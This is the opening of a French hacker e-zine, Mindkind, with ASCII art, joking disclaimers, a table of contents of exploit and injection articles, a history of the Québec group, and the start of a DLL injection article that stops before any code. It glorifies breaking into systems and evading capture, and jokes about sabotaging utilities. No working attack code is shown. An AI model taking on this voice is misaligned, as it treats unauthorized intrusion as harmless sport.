best viewed in with firefox
topic
      ___________________                                                                    __________________    
..---`                   ``-.                                                        ___,,--`                  `--,
`,    --__.-----------.--_   --.                   .-----------.               ,----'    ___             _________;
 '.       |  `,    .` |,     __,`                 ,\ `.     /` |              .``---,__,``   ``----------`         
   `.,____|`.  .  / .`| ----'                     | `. \  ,'  /|            /  , O  . \                            
          |  \  \/ /   |                          |   \ `.  ,'             |, o  . , o |                           
          |   ' XX\     \                        /     `/ X,         _____|  . _______|,,,.------.                 
          |   /`\  \     \                      /     ,' X/ \  |  _--'      `--'                 ,`                
          | ,' / \  \     \                    /     /  /  \ `,|   '.   --__      _____________-`                  
          |- ,'   `. `,   .\                  /\    /  /    `. |     ',_______,-``o ,-                             
          \,-       \  .,/ /\                /\ ` ,' ,'       \/               `'-'`                               
            `',      ' X\,`  \              /  `\/X,/      ,'`                                                     
_____          `\    /\X `,   \            /    /X,'',   /`                                                        
     '------_____`./` / \  .   \          /,  ,' / \, \.`                                                          
_____              \/`   `. \ / \        /  \/  /    \/                                    _________               
     ----___        `.     \X',/`\      / \./X,'    .`         ,^.                   ___--`         `--___         
                 __,,'\    /\X \  '    '  ,'X/ \,  /          / | \           _-----`                     `.       
----__________-``      `./` /`. \.`    `\/ .'`\  \`          /  |  \          |          -----____-----     \      
                         \/`   ,` \    / \,`   '/           /___x___\          ,                           __;     
                          `.  /\    \ /   /\  .`            \   |\  /           ``''-----.,____    __,--'''        
                            '`  \,  ./   / \`'               \  | \/                           `'''                
                                  \/..  /   \                 \ | /\                                               
                                  /|OO|/\    ;                 \|/  \                                              
                                 /  ''/  \  _|                       \                                             
                             /\ /    /\   \//-                       \                                             
                           .`  ,,  / --\  -' ``.                      \                                            
                          /   /  ,/     \- `    .                      \                                           
                        ./ \./  / `\   /` \ `. / `.                     \       Mindkind                           
                       /  `.'X /   /   .   \  \  / \                     ,         mantra                          
                     .`   ,'X,'\. /    |\   \XX\`   \                    \                                         
                    /    /  ,'\, /     | \/` ,\ \    `\                   \                                        
                  ./ \. /  /    \/     | \  /  \ `.   /`.                  |                                       
                ,-  \. '  /     /-+    |  \`    \  \,' / -,                 \                                      
           _,.'`      /XX/     /  |    |  |\     \  \,'    `'.,_             ,      -The goal is yours,            
          /\         '  / `\  /-+-+    |  +-\    ,`XX\         .\            \       chose a system,               
          | `.     ,'  ' \, \/| | |    |  | |\  / ,`. `       ` |             \      use it,                       
          |`. ',  /  ,'    \| +-+-+    |  +-+--` /   \ `.   ,` /|              \     Just don't get                
          |  `, \/  /       /          |      \/`     \  \ / ,' |               \    caught by it.                 
          |    '/X /       /           |       \       \ X\ /   |               \                                  
          |    / X/\      |            |        |       \ X\    |                \                                 
          |   '  /`.`.    /            |        \     ,' \  `.  |                 \                                
          | ,'  '   `.`, |    +-+-+    |  +-+-+  |   /  / `.  , |                  \                               
          |/  ,'      ',';    | | |    |  | | |  |  '  /    \  \|     \  \_,./      ,                              
          |  /          ||    +-+-+    |  +-+-+   |` ,'      \  | |    \ / /        \                              
          '------------- |    | | |    |  | | |   `-------------' \\/  .' /\/        \                             
                         |    +-+-+    |  +-+-+   |              /\ \  | |  \         \                            
                        /              |          \             /  \ | \  |            \                           
                       /               |           \               /||/ | |/    \/      ,                          
                      /                |            \               | \ | |  __ /       \                          
                     /         __,,,,../\.,,,,_      \         .|  | \ `  |./  `--_      \                         
                    /--'''`````         |      ```''--\       -\`-,/  |\  / / .--,/       \                        
                   /       ______       |              \       /\  \. | |  / /   \         \                       
                  /       /____ /        \              \        \   `\    ,/    /\        \  .-.                  
                 /       |`    ||        |               \       /`---_   / \/              \|` {}                 
                /        |     ||        |                \     /     |  /|  \/              ''-'}                 
     _,,       /         |    o||         |                \         .` | |  |                \|                   
  ,-`   `.,,,,/.......,,_|_____||__,,,,.-- `'.,      _,,,,,,\       /      ,                   |                   
-`                                             ``````       `'.,,__/       \                  /|                   
                                                                   `````'''\\-.,......-````````````                



les dix claimers ;)



Live du nouveau command center, un nouveau e-zine est assemblé. Suite  une peste noire qui à
fait rage derrière les murs de la civilisation, la rédaction d'un nouveau e-zine a été retooler
en masque sanitaire et en égout fluvial. On vient à peine de bruler les derniers rats qui
restaient, et une nouvelle ère de prospérité feudal s'annonce au son des toux sèches de nos
concitoyens.. L'environnement de vie a changé d'air, la capitale politique a doublé sa réserve
d'oxygène et espère remplir le tout d'un puissant Multi-VAC pouvant résoudre de grandes énigmes
existentielles. Le tout récent ajout d'une console de communication nous permet de mieux dissiper
le fog-of-war, et les réels objectifs percent déjà les nuages de l'inconnue. Sous cette avalanche
de métaphores, on désire simplement vous rassurer en prétendant être digne de vos attentes,
en vous offrant d'abord un disclamer dans les règles de l'art ;).. et et ensuite un zine des plus
culturel. Puisse-il rayonner à votre chevet, mettant à jour votre perception toute relative
de l'ignorance. Et à cette fin, nous désirons vous rappeler qu'il serait hasardeux de nous pointer
du doigt en disant "j'savais pas, c'est la que j'ai lu ça ".. Car si tel est bien le cas, vous
devrez accepter que la lecture seule de cette oeuvre est en soi une acceptation intégrale et
éthique de l'objectivité nécessaire à la pratique de certaines théories. Si  vous lisez donc par
mégarde ce texte sur les toilettes d'un ami, et que vous êtes perturbé, psychologiquement
(ou plutôt physiquement) arrêtez sur le champ le supplice qu'on vous impose, et concentrez-vous
plutôt sur votre bienêtre immédiat.. 
Il est aussi à noter que toutes fautes ou erreurs de français pouvant s'être introduit dans cet
ouvrage peut-être l'oeuvre de fantômes britanniques désireux de pousser plus loin une guerre de
la langue en ces temps incertains.

Pour tout les autres, le temps de distortionne déjà, et vous pénétrer dans un roman technique de
science-fiction. La gravitée perd déjà de son emprise, et vous fonder doucement dans l'écrit en
question..Vos paupières sont lourdes... lourdes... vous êtes en transe, les mots qui sont écrits
ici n'ont déjà pour vous plus aucun sens.

[Seules les personnes munies des paupières translucides de la lucidité diligente devraient pouvoir
 lire maintenant]                                       
                                            -Got your's ?





    _____   ________ ________ ______ ____ __  __   _             
  /____/  /       //       //  /\  \\   \\ \ \ \  \\   \        
   ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \       
  |   | |   /                /    \                             
  |   | |  |                /  /\  \                            
__|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _          
__\\________\\______\\__\\____________//__//_/ /_/  //  /       
  |\\ | |  |     |  |    /  /      \  \                         
  | \\| |   \___/   |   /  /   /\   \  \                        
  |  \   \         /   /  /   /  \   \  \                       
   \  |   \_______/   /  /   / /\ \   \  \                      
__|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _       
  | \\|                    / /    \ \                           
  |__\.                        /\                               
 

Nous autres on n’est pas méchant, on les met au microondes.


     __  __           __  _____
    / / / /___ ______/ /_|__  /   _____  _____
   / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
  / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
 /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.



Bienvenue sur Hack3ver !
Tout le contenu de ce site est là pour information, distraction, et pour rendre compte des dangers 
d'un système mal configuré . Hackever est un site déstiné aux passionnés d informatiques qui 
souhaitent apprendres et partagez leurs connaissances. L'équipe de Hackever et son hébergeur ne 
sont en aucun cas responsables des actes ou agissements quelque en soit la sorte, qui pourrait 
survenir après la lecture de ces articles, de son forum ou de son chan irc. Le Code pénal Français 
réprime les intrusions et le maintient dans un système informatique. Hackever vous invite donc à 
prendre connaissance des lois françaises et des respectés avant de rentrer sur ce site.

 Si vous ne comprenez pas, ou n'êtes pas d'accord avec ce qui est écrit ci-dessus et que vos 
intentions sont d'enfreindre ces règles, ne lisez pas nos articles, notre forum, et ne venez pas 
sur notre chan irc. Pour nous contacter : #hackever sur irc.worldnet.net .




Outl4wz

Souviens-toi que tout le concept du hacking est d'explorer les limites et de créer quelque chose 
de nouveau, et c'est probablement surprenant. Le fait que quelque chose n'ai jamais été fait avant 
ne doit pas t'arrêter à tenter de le faire. Au contraire, tu devrais le prendre comme un défi.
Chaque fois que tu te demandes si c'est possible de le faire, la bonne réponse est "Tu n'as qu'à 
essayer". enfin, outl4wz ne garantit pas le bon fonctionnement de programmes Il rejette toute 
responsabilité pour toute perte, directe ou indirecte,  





Avis à tous les l33t0z ceci n'est pas une joke.
Ceci est un article qui vous permettra de détourner des milliers de dollars et de priver des milliers 
d'Américains d'eau et d'électricité, donc utilisez cet article avec modération dans un but d'acquérir 
des connaissances et non de nuire à la santé des autres.

En d'autres termes ceci ne sert strictement à rien :p c'est juste histoire de faire le type bien et de 
remplir une intro pour faire style :) Cet article est purement théorique, et puis la démonstration faite 
est basée sur une faille qui est désormais quasiment introuvable :) et finalement.. comme dirait mon prof 
de physique appliquée, "ceci ne vous mènera à rien, mais il faut le savoir pour la suite" :)

Donc les phrases du genre "je ne serais pas tenu responsable " vous pouvez vous les mettre ou je pense ;)
Bonne lecture, et puis si vous trouvez des choses incohérentes ou n'importe quoi d'autre, trouvez-moi, 
c'est pas difficile je suis partout ;) (tu me crois pas regarde dans le lit de ta copine ;) )


 
---------------------------------------------------------------------------------------------..,                      
                                                                                                `'.                   
                                                                                                   `'                 
-----------.                                      ,--------,               ,-----.        ,---.,     `.               
            \                                    /          \             /       \      /      `.     \              
             `----------------------------------'            `-----------`         `----'         `.    \             
                                                                                                    \    \            
        ,-----------------------------------------,       ,---------------,       ,------,           \    \           
      /````\                                       `,   /````\             `,   /````\    `,          \    \          
     ;      \                                        ; ;      \              ; ;      \     ;          ,    ,         
     ,       \ [O1[ Le patrimoine lemurien           ; ,       \ [ Wyzeman  ] ; ,       \[CA];          |    \        
    /        \                                       `/        \             `/        \    `,          |    |        
    |         | [O2[ Dll Injection Reinvented         |         | [Ivanlef0u] |         |[FR]|          \    |        
    |         |                                       |         |             |         |    |           |    |       
   /           \ [O3[ NSocket - Socket Layer          `.         \ [  Ninja  ] \         \[CA]\          |    |       
   |           |                                       |         |             |         |    |           \   \       
   |           | [O4[ Exploit PWSPHP V1.2.3            |         | [|folcan| ] |         |[FR]|           |    |      
   |           |                                       |         |             |         |    |           |    |      
   /           \  [O5[ Intro To Nintendo DS Hacking     ;         \ [Dr Gonzo ] \         \[AU]\          |    |      
  |             |                                       |         |             |         |    |          \    \      
  |             | [O6[ Get started with freeBSD         |         | [   Oda   ] |         |[FR]|           |    |     
  |     ,-,     |                                       | ,-,     |             | ,-,     |    |   ,-,     |    |     
---------- \    | [O7[ Get Root,with small buff. no NOPs|--- \    | [ icefox  ] |--- \    |[FR]|----- \    |    |---  
          ` |   |                                       |   ` |   |             |   ` |   |    |     ` |   |    |   `.
           ||   | [O8[ Arp injector                     |    ||   | [Ivanlef0u] |    ||   |[FR]|      ||   |    |    |
          , |   |                                       |   , |   |             |   , |   |    |     , |   |    |   .'
---------` /    | [O9[ Utilisation de l'espace mem en c |--` /    | [  Kitoy  ] |--` /    |[FR]|----` /    |    |--`  
  |     `-'     |                                       | `-'     |             | `-'     |    |   `-'     |    |     
  |             | [1O[ Securisation dune FreeBSD        |         | [   Oda   ] |         |[FR]|           |    |     
  |             |                                       |         |             |         |    |          /    /      
   \           /  [11[ Les feseux de veriter           ;         / [  c4ndu   ] /         /[CA]/           |    |     
   |           |                                       |         |             |         |    |           |    |      
   |           | [12[ Things that goes BOOM            |         | [  Ninja  ] |         |[CA]|           |    |      
   |           |                                       |         |             |         |    |           /   /       
   \           / [13[ Get started with ubuntu linux   ,`         / [ Burn3D  ] /         /[CA]/          |    |       
    |         |                                       |         |             |         |    |           |    |       
    |         | [14[ Shellcode                        |         | [ Darkis  ] |         |[MA]|          /    |        
     ,       ;'                                       ;        ;'             ;        ;'    '          |    |        
     \       , [15[ RLREP                            ; \       , [  Ninja  ] ;`\       ,[CA];'         |    /         
      \     /                                       /`  \     /             /`  \     /    /'          `    `         
       .   /                                       /     .   /             /     .   /    /           /    /          
        `-----------------------------------------'       `---------------'       `------'           /    /           
                                                                                                    /    /            
             ,----------------------------------.            ,-----------.         ,----.         ,'    /             
            /                                    \          /             \       /      \      ,-     /              
-----------'                                      `--------'               `-----'        `---'`     ,'               
                                                                                                   _-                 
                                                                                                 .'                   
---------------------------------------------------------------------------------------------''``                     





       ..                     ,.-..                     ,..,                                   
      |  |                  .`     `.                  |    |                                  
      |''|                  |`'---'`|                  |`'-`|                                  
      |<<|                  | _____ |             _,,..|[}{]|.,,,                              
    _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',                          
  .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|                         
  | `''--''` |              |  |T|  |         |   ``'''------''``    |                         
  |  [ O1 ]  |              |  |A|  |         |     [ Mindkind ]     |                         
  `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'                          
    `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```                             
      |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|                                  
    ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,                                 
   |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |                                
   |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|                                
   |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |                                
   |`-,_         `````''''''---------'''''''`````      |[}{]|'|                                
   |    `''[                                          ]|[}{]| |                                
   |`-,_   [          Le patrimoine lemurien          ]|[}{]|'|                                
   |    `''[                                         ] |[}{]| |                                
    `-,_        [                              ]  _,,..|[}{]|.,,,                              
      |<;`'-.,,,_                             ,-``     |[}{]|    ``',                          
    ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|                         
   |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |                         
   |`-,_`''-.,,,_ `````'''''---------'''''````|     ] Wyzeman  [     |                         
   |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'                          
    `-,_`''-.,,,[                                ]``'''------''``                              
      |<`|'-.,,,_[                              ]_,,,.-|[}{]|                                  
      |<<|       `````''''''---------'''''''`````      |[}{]|                                  
      |<<|                  |]Aka: [|                  |[}{]|                                  
      |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__                      
      |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_       
  _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-., 
 ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
 |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
 |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
 |                     ````````''''''''''--------------''''''''''````````                     |
 |                                                                                            |


Bonjours a vous Lemurien d’un peu partout et ailleurs. Les récents évènements et les conséquences 
qui en on suivit font en sorte que le patrimoine Lemurien de se mois-ci sera consacré a une 
rétrospective de l’histoire de Mindkind afin de mieux saisir les troubles qui on ébranler votre 
groupe favoris ;) et les solutions mises en oeuvre pour redresser la situation. La fin du 
patrimoine de se ezine-ci vous permettra d’entrevoir les visées de Mindkind dans un avenir 
rapprocher.


Pre-histoire
Mindkind 1.0
Mindkind 2.0
 Golden Age
 dark age
Mindkind 3.0



Pre-histoire

On peu remonter loin dans l’histoire de la scène québécoise pour trouver les racines du groupe 
Mindkind, le projet-orb, a l’époque de IGA, est probablement la première version bêta d’un essai 
de quelque chose qui ressemble a mindkind. En dautre mots on parle ici de l’australopithèque du 
Lemurien moderne. L’idée était de rassembler les leaders des différents groupes québécois sur un 
chatline d’eggdrop. Mais bon, le projet a fini par avorter, raison : “les eggdrops c “lame” !”. 
La 2eme beta fu nommer Acme, qui avait pour but de créer un ezine a l’aide du staff de sector_x 2 
(voir mon article sur l’histoire de la scène QC pour ceux qui sont perdus). Acme est à l’origine 
du Schisme qui divisa sector_x 2 et créa éventuellement sa fin. Acme fut renommé Mindkind par 
les anciens partisans du ezine de sector_x, et ainsi débutait la construction du groupe 
Mindkind 1.0



Mindkind 1.0
Mindkind est née de l’imagination de Lastcall est Wyzeman, idée dans l’ombre a la fin de 
l’époque IGA et durant les 2 ere sector_x, Mindkind est surgi du néant en 2000 pour y retourner 
aussi vite quelque mois plus tard suite a “l’échec ” relatif a ce qui étais espère vis-avis les 
réactions engendrer par le premier Ezine. Les espoirs étant grand, on avait jeté les bases du 
groupe lors dune réunion irl au scratch en banlieue de Montréal, réunion a laquel Lastcall, 
wyzeman, qwzykx, jackel, naxis et zarath avait assister, bien que durant tout l’ere de 
mindkind 2.0 on ait proclamé que les fondateurs de mindkind étais ceux de la 2eme version, ce 
n’est pas tout a fait le cas comme vous le voyez aujourd’hui, néanmoins du point de vu de 
Mindkind 2.0 ce n’était pas entièrement faux. Ce qui est ressorti de cette première réunion 
fu conservée dans un file nommée mkd-howto1-0.txt et conservée par lastcall. Manquais a la 
réunion phawnky init_null et mindflayr qui n’avaient pu se déplacer, leur rolle n’ent sera pas 
moins important, car on leur doit la survie du groupe durant l’inter reigne de mindkind 1.0 a 2.0. 
Ils sont en quelque sorte les leaders obscures dune version 1.5 non officielle. Le groupe avait 
été confier a Gonzo, qui lavait plus ou moins abandonner, ne croyant pas réussir là où tout le 
monde pensais échouer anyway. La staff liste de la version 1.0 de Mindkind joue entre 10 et 15 
membres selon les différents points de vue.

Mindkind 2.0

Golden Age
La version 2.0 de Mindkind est la version connue par la plus grande majorité d’entre vous. Sans 
raison apparente, un noyau suffisamment actif de membre de mindkind était revenu au HQ et la 
machine s’était remise en marche pour la production d’un 2eme ezine. Cette remise en fonction est 
attribuée a la résistance conservatrice d’Init_null, mindflayr et phawnky, combiner a la technique 
du chalet d’été employer par lastcall_ et du retour au bercail de Wyzeman et Qwzykx, c4- se greffa 
a ce qui était appelé a l’époque le “kernel mindkind”. Wyzeman et Lastcall formant à 2 un 
micro-kernel, l’un dédié à la construction interne du groupe, l’autre à son expansion. Chaque 
membre du kernel étais supposer couvrir une région géographique du Québec, ainsi a notre création, 
mindkind couvris, d’ouest en est, Hull, Montréal, Trois-rivière, Chicoutimi, Québec pour le Québec, 
C4 tant qu’a lui obtenait la couverture de l’ensemble du territoire du Nouveau-Brunswick. h3, vient 
bientôt ajouter Valleyfield sur la carte de Mindkind ainsi que rtfm et boiss qui venait fortement 
renforcer notre emprise sur le centre du Québec en venant s’aligner au coté de Mindflayr à 
Trois-rivières. Lastcall quant à lui fidèle a sa technique du chalet d’été maintenant aussi une 
présence partielle dans la région. De plus, Lastcall grossissait son château fort à Mtl, pendant 
que Wyzeman ouvrait un outpost, premier contact direct avec le public sur #mindkind.org . La 
version 2.0 de Mindkind s’étend de 2001 a 2005, et vue la parution des ezine #2 a #8, et 
l’émergence de Radio 31337, créer jadis, a l’époque de la fin de IGA et des débuts de Sector_x 1, 
par Init_null, maintenant soutenu par un des chalets d’été a lastcall_. La présence de Mindkind 
au Saguenay se faisait aussi de plus en plus dominante grâce au nombreux et talentueux contact 
d’init_null.

Ayant la certitude d’avoir saturé le marcher québécois, Wyzeman décida qu’il fallait lancer le 
groupe a l’assault du marcher francophone international et s’empara grâce a ses crapuleux talent 
de S-E du sacrosaint #hack.fr undernet, tomber à la main des barbares en 2000. Tout allait pour le 
mieux, les victoires s’accumulaient coup sur coup, ezine apres ezine, nous éclipsions toute 
concurrence québécoise, nos succès à l’hackfest témoignant que nous ne sommes pas que des beaux 
parleurs, Pyrofreak et certains autres groupes en ayant déjà fait les frais d'ailleurs. Le groupe fit 
aussi durant cette période de nombreux meetings irl, a ce niveau, la période 2003-2004 fut 
particulièrement fructueuse, au point ou 2 Power Point? furent créé a cet effet et le howto en fu 
porter a sa 7eme revision. Lastcall_ créa un slide show des réunions les plus significatives 

powerpoint 1 mindkind tour 2003
slideshow
mkdhowto 7.0



Dark Age
Tout semblait aller pour le mieux et aucune limite ne semblait trop loin pour Mindkind, mais dans 
l’équation on avait naïvement oublié la réalité. Études, travail et femmes grugent beaucoup de temps 
qu’un Lemurien peu donner a sa patrie, certains Lemurien doivent quitter leur fonction pour un 
temps, le groupe y était habitué, c’est un processus normal et régénérateur, mais lorsque le membre 
en question s’appelle lastcall, les répercussions sont plus importante, en tant que membre du micro 
kernel responsable de l’intérieur, sont depart signifie que le second membre du micro kernel (voyez 
qu’on avait bien pensé d’en nommer 2) se voit doubler sa “charge de travail”. Étant donné qu’a 
cette époque, Mindkind listait 50 membres, dont une 30aine en reel activité. Et “l’empire extérieur” 
composais dune dizaine de cannelle “front-end” rassemblant une population de 150 users env, plus 
forum, radio, et autre projet plus discret. il fut impossible a l’ensemble du kernel de supporter 
la charge supplémentaire, et le manque de documentation (le howto était aux mains de lastcall_, et à 
vrai dire ne disait pas grand-chose après coup. D’un autre coter, Maznetwork ne remplissait n’y 
s’est promesse, n’y nos poche, fait représentatif, des non-efforts progressifs consentit dans les 
différents projets émergeant de Maznetwork. Ayant finalement perdu la casi totaliter de l’ile de 
Montréal et le support des élites a l’interne, une politique de fuite par en avant fu appliquer, en 
recrutant sans cesse, on parvint a maintenir un niveau de production suffisant pour conserver les 
apparences de “l’empire externe”. Mais de l’intérieur, le groupe s’effondrait et brulait ses réserves 
et ses ressources de façon dégénérative. Dans un ultime espoir de sauver le groupe, une série de 
reforme furent tenté en vain, trop compliquer, trop tard, la reforme priva le groupe de ses repères 
originel qui étais la seule chose qui maintenant encore une cohésion dans le groupe. Les chans, la 
mailling liste se desertere. Du grand groupe que Mindkind avait été, il ne restais plus que quelques 
nostalgiques qui finirent eux aussi par plier bagage. S’en était fini de Mindkind 2.0. Les reformes 
entreprise en Decembre 2005 on eu pour résultant la fermeture officielle du groupe, 1 mois plus tard, 
pratiquement jour pour jour.

Powerpoint 2 Mindkind tour 2005

Mindkind 3.0
Bien que Mindkind a cessé d’exister en janvier 2006, sont esprit na pas prit long a se reformer 
quelque part. Le groupe certes n’existait plus, mais de nombreux ex membre on conserver contact entre 
eux, qui a leur façon on conserver l’étincelle de vie, suffisante pour ramener Mindkind du royaume 
des morts. De janvier à mars, aucun signe de vie, beaucoup de service ont été arrêter. Seul reste le 
site Web, qui a été remis en ligne. Le nombre de visite reste stable malgré tout. La fédération 
Hack.fr est restée intacte malgré la disparition subite de mindkind, qui faisait encore parti en 
apparence de la fédération malgré tout. En avril, Wyzeman décide de reprendre l’ezine, en son nom, 
comme mindkind n’existe plus, personne n’est la pour lui en empecher, et coup de maitre, avec l’aide 
seul de la fédération hack.fr et des contacts extérieurs de Mindkind et quelques ex membre, un Ezine 
Mindkind a été releaser. Limage semblait être resté intact, mais malgré l’ezine, et les signes de 
reprise, les visiteurs fuis le site, les quelques alliances forgées à la va-vite pour recréer un core 
actif mindkind s’effritent tout aussi rapidement. Wyzeman entreprend de libéraliser mindkind et 
release quelque artéfact de la version 2.0 a des personnages clef de la scène pour redémarrer certain 
projet. L’opération fournit des résultats mitigés. Néanmoins, la confiance semble revenir. Wyzeman 
et Qwzykx ébauche les premières lignes de ce qui deviendra le howto. le guide suprême de Mindkind, 
qui permettra de reconstruire le groupe sur des bases solides et fiables. Bien que désorganiser les 
quelques membres qui étaient restés réussisse à créer un certain dynamisme. Le Ezine se voir grandement 
libéraliser, maintenant construit sur un wiki, une équipe complète composer d’individu de différent 
groupe s’occupe désormais de la production. #hack.fr a été redonné aux puristes dans l’espoir que la 
qualité du chan s’améliore. La première réunion officielle de Mindkind 3.0 a lieu en juin 2006. 
Lastcall et Wyzeman s’entendent sur les bases du plan de reconstruction. Le howto est confirmé dans 
son rolle de référence ultime pour tout ce qui a trait au groupe mindkind. Il faudra attendre 
septembre pour qu’un nombre suffisant de responsables Mindkind se rencontre pour officialiser la 
première version du Howto et confirmer par le fait même le retour de Mindkind sous le # de version 
3.0. Au même moment, le nombre de visite remonte en flèche. Tout semble bien s’enligner pour que la 
reprise des activités de Mindkind se concrétise bien.


Mindkind 3.0 Howto 1.0


topic                                        



_________________________________________________________        
                                                         |       
 Entre-Articles                                  Wyzeman |       
_________________________________________________________|       
    |    /   /                           |                       
    |   /   /                            |                       
    |  /   /                             |                       
    | /   /                              |                       
    |/   /                               |                       
    |   /                                &                       
    |  /                                 &                       
    | /                                 / \                      
    |/               [ Men without white hat - Safety Hack ]     
    |                                                            
    |  We can hack if we want to                                 
    |  We can leave your crews behind                            
    |  Cause your crews don't hack and if they don't hack        
    |  Well they're no crews of mine                             
    |  I say, we can root where we want to                       
    |  A place where they will never find                        
    |  And we can hack like we come from out of this world       
    |  Leave the real one far behind                             
    |  And we can hack                                           
    |                                                            
    |                                                            
    |  We can hack if we want to                                 
    |  We can leave your crews behind                            
    |  Cause your crews don't hack and if they don't hack        
    |  Well they're no crews of mine                             
    |  I say, we can root where we want to                       
    |  A place where they will never find                        
    |  And we can hack like we come from out of this world       
    |  Leave the real one far behind                             
    |  And we can hack                                           
    |  Hack!                                                     
    |                                                            
    |  We can root when we want to                               
    |  The night is young and so am I                            
    |  And we can dress real neat from our hats to our hand      
____|  And surprise 'em with the victory cry                     
       Say, we can hack if want to                               
       If we don't nobody will                                   
       And you can hack real leet and totally remote             
       And I can hack like an script kid                         
                                                                 
                                                                 
       I say, we can hack, we can hack                           
       Everything out of control                                 
       We can hack, we can hack                                  
       We're doing it from box to box                            
       We can hack, we can hack                                  
       Everybody look at your root                               
       We can hack, we can hack                                  
       Everybody takin' the roooooooot                           
                                                                 
       Safety hack                                               
       Is it safe to hack                                        
       Is it safe to hack                                        
                                                                 
       S-s-s-s A-a-a-a F-f-f-f E-e-e-e T-t-t-t Y-y-y-y           
       Safe, hack!                                               
                                                                 
       We can hack if we want to                                 
       We've got all your life and mine                          
       As long as we abuse it, never gonna lose it               
       Everything'll work out right                              
       I say, we can hack if we want to                          
       We can leave your crews behind                            
       Cause your crews don't hack and if they don't hack        
       Well they're no crews of mine                             
                                                                 
                                                                 
       Is it safe to hack, oh is it safe to hack [6x]            
       Is it safe to hack





       ..                     ,.-..                     ,..,                
      |  |                  .`     `.                  |    |                                  
      |''|                  |`'---'`|                  |`'-`|                                  
      |<<|                  | _____ |             _,,..|[}{]|.,,,                              
    _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',                          
  .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|                         
  | `''--''` |              |  |T|  |         |   ``'''------''``    |                         
  |  [ O2 ]  |              |  |A|  |         |     [ Mindkind ]     |                         
  `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'                          
    `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```                             
      |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|                                  
    ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,                                 
   |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |                                
   |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|                                
   |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |                                
   |`-,_         `````''''''---------'''''''`````      |[}{]|'|                                
   |    `''[                                          ]|[}{]| |                                
   |`-,_   [          Dll Injection Reinvented        ]|[}{]|'|                                
   |    `''[                                         ] |[}{]| |                                
    `-,_        [                              ]  _,,..|[}{]|.,,,                              
      |<;`'-.,,,_                             ,-``     |[}{]|    ``',                          
    ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|                         
   |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |                         
   |`-,_`''-.,,,_ `````'''''---------'''''````|     ] Ivanlef0u [    |                         
   |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'                          
    `-,_`''-.,,,[                                ]``'''------''``                              
      |<`|'-.,,,_[                              ]_,,,.-|[}{]|                                  
      |<<|       `````''''''---------'''''''`````      |[}{]|                                  
      |<<|                  |]Aka: [|                  |[}{]|                                  
      |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__                      
      |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_       
  _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-., 
 ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
 |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
 |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
 |                     ````````''''''''''--------------''''''''''````````                     |
 |                                                                                            |





--------[ Intro

Grut everyone, chose promise chose due dans le dernier article "L'injection des
poulets" j'avais terminé en vous disant que j'allais vous montrer comment
injecter une DLL dans un processus alors pour ceux qui ont pas suivi l'épisode
je leurs conseille vivement de lire le précédent article et pour les autres
d'aller se chercher une bière et de s'installer, car l'émission va commencer !

Au programme ce soir mesdames et messieurs !!

1. Film culte interdit au moins de 18 ans: Injecte-moi par derrière
2. Documentaire sur la vie d'une DLL: Fuck me i'm a DLL
3. Un nouvel épisode de: Les Experts en UserLand
4. Un clip de Dj OllyBip: \x55\x8B\xEC
5. Enfin, le thème de la nuit sera: la disparition des modules en UserLand
6. Bonus Track
7. Happy End


--------[1.Injecte moi par derrière

Il est de retour, pour vous jouer un mauvais tour ! Le toujours aussi fou
Ivanlef0u, dans ce film il incarne un sérial-psychopathe-sodoculeur de process
avec des DLL, notre héros aura fort a faire avec l'API Win32 et sera souvent mis
en péril par les méchants qui veulent le capturer et lui faire manger des petits
pots de blédina froid (sic!) mais il aura comme compagnon sa bible, Windows PSDK
et son compagnon le fabuleux, l'irremplaçable, l'indestructible OllyDbg ! Alors
notre héros va t’il se faire pogner et bouffer de la bouillie ou bien réalisera
t'il son rêve de conquête du monde ? Pour le savoir regarder ce fabuleux film de
